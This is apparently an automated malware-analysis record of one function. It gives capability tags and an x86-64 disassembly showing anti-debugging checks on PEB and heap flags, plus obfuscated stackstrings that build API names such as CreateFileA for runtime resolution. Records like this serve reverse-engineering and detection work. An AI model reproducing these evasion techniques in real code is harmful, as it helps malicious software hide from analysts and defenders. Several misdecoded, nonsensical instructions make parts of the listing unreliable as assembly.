Function at 0x18000aaf0
Capabilities:
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Get process heap flags
Get process heap force flags
Parse pe header

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x6e8
mov byte [rsp + 0x193], 0x1e
mov dword [rsp + 0x420], 0xfdb67618
movabs rax, 0x751f3009320655ff
mov qword [rsp + 0x4d8], rax
mov dword [rsp + 0x424], 0xb48a3339
cmp dword [rsp + 0x6f8], 1
je 0x18000106f
mov dword [rsp + 0x428], 0x79fba69d
mov dword [rsp + 0x42c], 0xc8b2599b
mov eax, 1
jmp 0x180002bff
mov byte [rsp + 0x1a0], 0xfe
movabs rax, 0x306b65f205a5135a
xor byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
invalid
add byte [rax], al
mov qword [rsp + 0x2f0], 0
movabs rax, 0x3cf71f04f3c7df28
mov qword [rsp + 0x480], rax
mov rax, qword gs:[0x30]
mov qword [rsp + 0x2f0], rax
movabs rax, 0xc63da3a66e773c7a
mov qword [rsp + 0x488], rax
mov dword [rsp + 0x430], 0x4525f932
movabs rax, 0x6e70407979e413b2
mov qword [rsp + 0x490], rax
mov dword [rsp + 0x478], 0xb849ffc9
movabs rax, 0x22ee6080b035aeb
mov qword [rsp + 0x498], rax
cwde
add al, 0
add bh, al
test byte [rsp + rdi*2], ah
add al, 0
add bh, bl
adc ah, byte [rcx + 0x2484c7bd]
clc
add al, byte [rax]
add byte [rax - 0x80], bl
push rcx
mov al, 0xc6
test byte [rax + rdx*2], ah
add dword [rax], eax
add ah, ah
mov rax, qword [rsp + 0x2f0]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x438], rax
mov byte [rsp + 0x151], 0xb4
movabs rax, 0x819a15b750c0c0a4
mov qword [rsp + 0x4a0], rax
movabs rax, 0xb0ec3f85f0602218
mov qword [rsp + 0x4a8], rax
mov byte [rsp + 0x152], 0x3b
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x438]
mov rax, qword [rcx + rax + 8]
mov qword [rsp + 0x1a8], rax
movabs rax, 0xa699ad491061b29f
mov qword [rsp + 0x4b0], rax
mov dword [rsp + 0x2fc], 0x1a4e7cb2
mov byte [rsp + 0x153], 0x25
mov byte [rsp + 0x154], 0xb1
movabs rax, 0x71cb8ff8eaa57291
mov qword [rsp + 0x4b8], rax
mov dword [rsp + 0x300], 0x1aa33534
movabs rax, 0xdb01676e3f5e0e04
mov qword [rsp + 0x4c0], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x4b
movabs rax, 0xaafe7e1921d511a6
mov qword [rsp + 0x4c8], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x45
mov byte [rsp + 0x155], 0xd5
mov dword [rsp + 0x304], 0xb918760c
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x52
mov dword [rsp + 0x308], 0xd97d0080
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x4e
mov byte [rsp + 0x156], 0x5f
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x45
mov byte [rsp + 0x157], 0x71
movabs rax, 0xbae7443f78b5442b
mov qword [rsp + 0x4d0], rax
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x4c
mov byte [rsp + 0x158], 0xa7
add dword [rax], eax
add byte [rdi + 0x592484c6], ah
add dword [rax], eax
add byte [rbx - 0x4c3947b8], cl
fadd dword [rcx]
call 0x1c885c6de
mov dword [rsp + 0x5d8], eax
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x33
movabs rax, 0x6f01c244dccce8f9
mov qword [rsp + 0x4e0], rax
mov byte [rsp + 0x15a], 0xbf
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x32
mov byte [rsp + 0x15b], 0x20
mov byte [rsp + 0x15c], 0xcc
movabs rax, 0xddf1cbd9cf38ff30
mov qword [rsp + 0x4e8], rax
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x2e
mov byte [rsp + 0x15d], 0x87
movabs rax, 0x577e5a6ba5364a26
mov qword [rsp + 0x4f0], rax
movabs rax, 0x7fcca83856e7760a
mov qword [rsp + 0x4f8], rax
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x44
movabs rax, 0x810a4db4f6b63424
mov qword [rsp + 0x500], rax
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x4c
movabs rax, 0x884248ec3b676fee
mov qword [rsp + 0x508], rax
movabs rax, 0x518926b97535c5a3
mov qword [rsp + 0x510], rax
add byte [rax - 0x48], cl
movabs eax, dword [0x48e06249b65d2522]
mov dword [rsp + 0x518], eax
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0x4c
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1e0], 0
mov byte [rsp + 0x15e], 0x58
movabs rax, 0x6aab0e9b89604fd9
mov qword [rsp + 0x520], rax
lea rcx, [rsp + 0x1e0]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0x4496d0]
mov qword [rsp + 0x1b8], rax
mov dword [rsp + 0x30c], 0xce13aa43
mov dword [rsp + 0x310], 0x2bd0fcbe
mov byte [rsp + 0x15f], SysAllocStringByteLen
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x43
movabs rax, 0xefd80bd81db890d1
mov qword [rsp + 0x528], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x6c
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x6f
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x73
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x65
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x48
movabs rax, 0xe1bdb10ea57a8b30
mov qword [rsp + 0x530], rax
movabs rax, 0x5c56837322747ba3
mov qword [rsp + 0x538], rax
mov byte [rsp + 0x160], 0xf9
movabs rax, 0x75175ed3f1e2f88e
mov qword [rsp + 0x540], rax
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x61
mov byte [rsp + 0x161], 0xd0
mov byte [rsp + 0x162], 8
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x6e
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x64
mov byte [rsp + 0x163], 0xb0
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x6c
mov byte [rsp + 0x164], 0x2e
add dword fs:[rax], eax
add byte [rsi], ch
mov dword [rsp + 0x314], 0xa215ddef
mov byte [rsp + 0x165], 0xe9
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x166], 0xaf
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0
movabs rax, 0xafd189a83886a2f3
mov qword [rsp + 0x548], rax
mov byte [rsp + 0x167], 0x47
movabs rax, 0x5a53da6786b98d2
mov qword [rsp + 0x550], rax
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0x4494d0]
mov qword [rsp + 0x468], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x43
mov byte [rsp + 0x168], 0x9f
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x72
mov dword [rsp + 0x318], 0xb2756f4e
movabs rax, 0x9c932266ef5c0c8e
mov qword [rsp + 0x558], rax
movabs rax, 0x942564a0694d384
mov qword [rsp + 0x560], rax
mov dword [rsp + 0x31c], 0x92ebe70
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x65
movabs rax, 0x39623adc1de7ac28
mov qword [rsp + 0x568], rax
mov byte [rsp + 0x169], 0x3d
mov byte [rsp + 0x16a], 0x7a
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x61
mov dword [rsp + 0x320], 0xa1125605
mov byte [rsp + 0x16b], 0x80
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x74
mov dword [rsp + 0x324], 0x89c454ee
mov dword [rsp + 0x328], 0xdbf30576
add byte [rax], al
jbe 0x1800016c9
fstp xword [rax + 1]
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x65
movabs rax, 0x22ecc0763bb9c634
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x32c], 0xdc34c9ac
mov byte [rsp + 0x16c], 0x60
mov dword [rsp + 0x330], 0x8b8cab19
add eax, dword [rax]
add byte [rcx], bl
stosd dword [rdi], eax
mov word [rbx + 0x1b8], cs
add byte [rax + 0x6b], cl
rol byte [rsi], 0xc6
test byte [rax + riz*8], al
add dword [rax], eax
add byte [rsi - 0x39], al
test byte [rsp + rsi], ah
add eax, dword [rax]
add bl, dh
mov esi, 0x84c75992
and al, 0x38
add eax, dword [rax]
add dh, dh
in al, dx
xor al, 0xf4
mov dword [rsp + 0x33c], 0xe3428891
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x69
movabs rax, 0x202588de5e91e19c
mov qword [rsp + 0x578], rax
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x6c
mov dword [rsp + 0x340], 0x47eb83e4
mov dword [rsp + 0x344], 0xd38458f9
mov dword [rsp + 0x348], 0xf66d1ca9
mov byte [rsp + 0x16d], 0x65
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x65
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x41
mov dword [rsp + 0x34c], 0xa87d8a54
mov byte [rsp + 0x16e], 0xe
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0
mov byte [rsp + 0x16f], 0x3a
mov dword [rsp + 0x350], 0x95717299
mov dword [rsp + 0x354], 0x14ac4968
lea rdx, [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0x4494d0]
mov qword [rsp + 0x448], rax
mov byte [rsp + 0x170], 0xbd
mov byte [rsp + 0x171], 0x4f
movabs rax, 0x7cbed079289a737f
mov qword [rsp + 0x580], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x47
mov dword [rsp + 0x358], 0x39ecda66
mov byte [rsp + 0x172], 0xff
mov byte [rsp + 0x173], 0xb4
mov eax, 1
add byte [rax], al
add byte [rax + 0x6b], cl
rol byte [rcx], 0xc6
test byte [rax + riz*8], al
add dword [rax], eax
add byte [rbp - 0x3a], ah
test byte [rsp + rsi*2], ah
add dword [rax], eax
add byte [rdi], dh
mov byte [rsp + 0x175], 0xd8
mov byte [rsp + 0x176], 0xcd
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x74
mov dword [rsp + 0x35c], 0xcc240b52
mov byte [rsp + 0x177], 0x58
mov byte [rsp + 0x178], SysAllocStringByteLen
mov dword [rsp + 0x360], 0x9956125f
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x4d
movabs rax, 0x9870735c8dab61dd
mov qword [rsp + 0x588], rax
movabs rax, 0x5bb69bd43aeda709
mov qword [rsp + 0x590], rax
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x6f
mov byte [rsp + 0x179], 0x6c
movabs rax, 0xa06baa5f82f9666f
mov qword [rsp + 0x598], rax
movabs rax, 0x3f3876cd4187ce5d
mov qword [rsp + 0x5a0], rax
mov byte [rsp + 0x17a], 0x98
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x64
mov dword [rsp + 0x364], 0x6ac5c311
mov dword [rsp + 0x368], 0xb7a89cba
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x75
add rsp, 0x6e8
ret
jmp 0x180001005